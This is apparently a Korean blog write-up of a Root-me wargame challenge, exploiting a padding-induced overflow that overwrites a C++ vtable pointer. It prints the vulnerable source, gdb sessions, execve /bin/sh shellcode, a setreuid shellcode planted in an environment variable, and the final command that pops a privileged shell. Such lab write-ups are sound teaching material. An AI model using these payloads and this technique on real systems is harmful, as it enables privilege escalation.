1. intro
2. code 및 분석
2.1. code
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdio.h>
class formatter
{
public :
virtual int RTTI( ) =0 ;
virtual void displayName( ) =0 ;
virtual void format( const char * ptr ) =0 ;
};
class UpperFormatter: public formatter
{
public :
virtual int RTTI( ) { return 1; };
virtual void displayName( ) { printf ("UpperFormatter"); }
virtual void format( const char * ptr )
{
const char * cptr = ptr;
while (*cptr)
{
printf("%c", toupper(*cptr));
cptr++;
}
}
};
class LowerFormatter: public formatter
{
public :
virtual int RTTI( ) { return 2; };
virtual void displayName( ) { printf ("UpperFormatter"); }
virtual void format( const char * ptr )
{
const char * cptr = ptr;
while (*cptr)
{
printf("%c", tolower(*cptr));
cptr++;
}
}
};
#define SIZE (80)
class MyStringFormatter
{
public:
MyStringFormatter( formatter * pFormatter ):m_pFormatter(pFormatter),m_Id(1) {};
void GetInput(int padding ) {
memset(str ,' ' , SIZE ); fgets(str+padding,SIZE,stdin); }
void display() const{m_pFormatter->format(str) ;}
protected:
char str[SIZE];
formatter * m_pFormatter ;
int m_Id;
};
int main(int argc, char* argv[])
{
printf("Padding : 1-5\r\n");
char size[4];
int padding = atoi(fgets(size,4,stdin));
if (padding <0 || padding >5)
{
printf ("Padding error\r\n");
exit(0);
}
printf("\r\n\r\n\tConvert in : \r\n");
printf("\t 1: uppercase \r\n");
printf("\t 2: lowercase \r\n");
int choice = atoi(fgets(size,4,stdin));
formatter * pformatter = NULL;
switch (choice)
{
case 1:
pformatter = new UpperFormatter ;
break;
case 2:
pformatter = new LowerFormatter ;
break;
}
if (pformatter == NULL)
{
printf ("Bad choice!\r\n");
exit(0);
}
MyStringFormatter formatter(pformatter );
printf("String to convert: \r\n");
formatter.GetInput(padding);
formatter.display();
return 0;
}
2.2. 분석
아오... c++ 적응 안되네....
main 함수에서 padding 값을 입력받은 다음
1. uppercase, 2. lowercase의 메뉴를 선택하고 각 메뉴에 따라 UpperFormatter, LowerFormatter의 값을 pformatter class에 삽입한다.
이후 pformatter class를 MyStringFormatter 함수의 인자로 쓰며 class를 선언하고,
formatter.GetInput과 display를 호출한다.
GetInput에서는 str 변수에 80만큼 값을 받아들이는데, 저장되는 위치가 str + padding이다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
GetInput 시 str + padding 위치에 값을 받아들이기에 overflow가 발생한다.
3.2. 공격 준비
vtable이라고 부르는데 구조체이며, 각 구조체는 담고있는 자료의 크기가 정해져있기에 overflow 발생 시 구조체 내의 다른 값들을 침범할 수 있다.
본 문제에서는 취약점에서 설명한 것과 같이 padding으로 인해 formattter 구조체 내의 format의 값을 변조할 수 있게 되기에 임의의 주소를 호출할 수 있다.
GetInput에서 80 bytes의 값을 받아들이기에 shellcode를 삽입할 크기도 충분하다.
문제는 각 주소를 구하는 방법인데... 아래와 같이 시도해 보았다.
gef➤ r <<< $(python -c 'print "5\n" + "1\n" + "A"*80')
Starting program: /challenge/app-systeme/ch20/ch20 <<< $(python -c 'print "5\n" + "1\n" + "A"*80')
Padding : 1-5
Convert in :
1: uppercase
2: lowercase
String to convert:
Program received signal SIGSEGV, Segmentation fault.
...
$eax : 0x41414141 ("AAAA"?)
...
→ 0x8048b06 <MyStringFormatter::display()+0> mov (%eax), %eax
...
gef➤
예상대로 seg.fault가 발생했다.
해당 값을 어디서 가져오는지 봤더니 예상대로 입력된 값의 가장 마지막 부분이다.
gef➤ x/wx $ebp+8
0xbffffa90: 0xbffffac0
gef➤ x/50x 0xbffffac0
0xbffffac0: 0x20202020 0x41414120 0x41414141 0x41414141
0xbffffad0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb10: 0x41414141 0x00000000 0xbf000a31 0xb3336900
0xbffffb20: 0x00000001 0xbffffbe4 0xbffffbec 0xbffffb50
0xbffffb30: 0x00000000 0xb7e3d000 0x00000000 0xb7c7dfa1
0xbffffb40: 0xb7e3d000 0xb7e3d000 0x00000000 0xb7c7dfa1
0xbffffb50: 0x00000001 0xbffffbe4 0xbffffbec 0xbffffb74
0xbffffb60: 0x00000001 0x00000000 0xb7e3d000 0xb7fe771a
0xbffffb70: 0xb7fff000 0x00000000 0xb7e3d000 0x00000000
0xbffffb80: 0x00000000 0x2ed6e269
gef➤ x/x 0xbffffac0+0x50
0xbffffb10: 0x41414141
seg.fault 지점부터의 어셈블러 코드를 보니 아래와 같았고
gef➤ x/10i 0x8048b06
=> 0x8048b06 <_ZNK17MyStringFormatter7displayEv+28>: mov (%eax),%eax
0x8048b08 <_ZNK17MyStringFormatter7displayEv+30>: add $0x8,%eax
0x8048b0b <_ZNK17MyStringFormatter7displayEv+33>: mov (%eax),%eax
0x8048b0d <_ZNK17MyStringFormatter7displayEv+35>: mov 0x8(%ebp),%ecx
0x8048b10 <_ZNK17MyStringFormatter7displayEv+38>: sub $0x8,%esp
0x8048b13 <_ZNK17MyStringFormatter7displayEv+41>: push %ecx
0x8048b14 <_ZNK17MyStringFormatter7displayEv+42>: push %edx
0x8048b15 <_ZNK17MyStringFormatter7displayEv+43>: call *%eax
결국 *eax를 call 하는데, 이 값은 최초 eax의 값에 달려있다.
이를 페이로드와 함께 표현하면 아래와 같다.
5 (padding)
+ 1 (menu)
+ add 2 (add 3 값의 위치)
+ add 3 (shellcode의 위치 - 8)
+ shellcode
+ add 1 (add 2 값의 위치)
이를 적절히 수정해서 원하는 위치로 이동하게 만들려면 아래와 같아진다.
gef➤ r <<< $(python -c 'print "5\n" + "1\n" + "\xc1\xfa\xff\xbf" + "\xcd\xfa\xff\xbf" + "A"*(80-5-4-4-24) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\xc5\xfa\xff\xbf"')
Starting program: /challenge/app-systeme/ch20/ch20 <<< $(python -c 'print "5\n" + "1\n" + "\xc1\xfa\xff\xbf" + "\xcd\xfa\xff\xbf" + "A"*(80-5-4-4-24) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\xc5\xfa\xff\xbf"')
Padding : 1-5
Convert in :
1: uppercase
2: lowercase
String to convert:
process 4328 is executing new program: /bin/dash
[Inferior 1 (process 4328) exited normally]
4. exploit
gef에서는 쉘이 잘 실행되었는데 gdb에 따른 offset 문제로 실제로는 성공하지 못한다.
app-systeme-ch20@challenge02:~$ (python -c 'print "5\n" + "1\n" + "\xc1\xfa\xff\xbf" + "\xcd\xfa\xff\xbf" + "A"*(80-5-4-4-24) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\xc5\xfa\xff\xbf"';cat) | ./ch20
Padding : 1-5
Convert in :
1: uppercase
2: lowercase
String to convert:
id
Segmentation fault
사실 제일 짜증나는 부분인데...
별 수 있나...
노가다 할 수 밖에...
... 한참 노가다 했는데 계속 안맞음 -_-
필살기 쓰자 그냥.
환경 변수에 shellcode 대충 등록.
app-systeme-ch20@challenge02:~$ export shellcode=`python -c 'print "\x90"*(100) + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"+ "\x90"*20'`
아래 파일을 코딩 후
#include<stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//gcc -o getenv getenv.c
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
fprintf(stderr, "Usage: %s <environment var> <target program name>\n", argv[0]);
exit(1);
}
/* Get env var location. */
ptr = getenv(argv[1]);
/* Adjust for program name. */
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
}
환경변수 주소 확인.
app-systeme-ch20@challenge02:~$ /tmp/wyv3rn/a shellcode ./ch20shellcode will be at 0xbffffdcf
이를 토대로 위에서 작성한 페이로드와 같이 적절한 위치에 주소와 함께 환경변수 재 등록
app-systeme-ch20@challenge02:~$ export shellcode=`python -c 'print "\xcf\xfd\xff\xbf"*2 + "\xef\xfd\xff\xbf"*4 + "\x90"*(100-16-8) + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"+ "\x90"*20'`
환경변수 주소로 return.
app-systeme-ch20@challenge02:~$ (python -c 'print "5\n1\n" + "AAA" + "\xcf\xfd\xff\xbf"*19';cat) | ./ch20Padding : 1-5
Convert in :
1: uppercase
2: lowercase
String to convert:
id
uid=1220(app-systeme-ch20-cracked) gid=1120(app-systeme-ch20) groups=1120(app-systeme-ch20),100(users)
cat .passwd
#----------플래그는 삭제
주소가 계속 안맞아서 1차 멘붕.
getuid 없는 shellcode 쓰다가 권한없는 shell만 따져서 2차 멘붕.
멍충이...
'Wargame > Root me' 카테고리의 다른 글
[App system] ELF x86 - Stack buffer overflow basic 5 (0) | 2022.10.25 |
---|---|
[App-system] ELF x86 - Stack buffer and integer overflow (0) | 2022.10.22 |
[Cracking] ELF C++ - 0 protection (0) | 2022.07.15 |
[Cracking] PE x86 - 0 protection (0) | 2022.07.15 |
[Cracking] ELF x86 - Basic (0) | 2022.07.15 |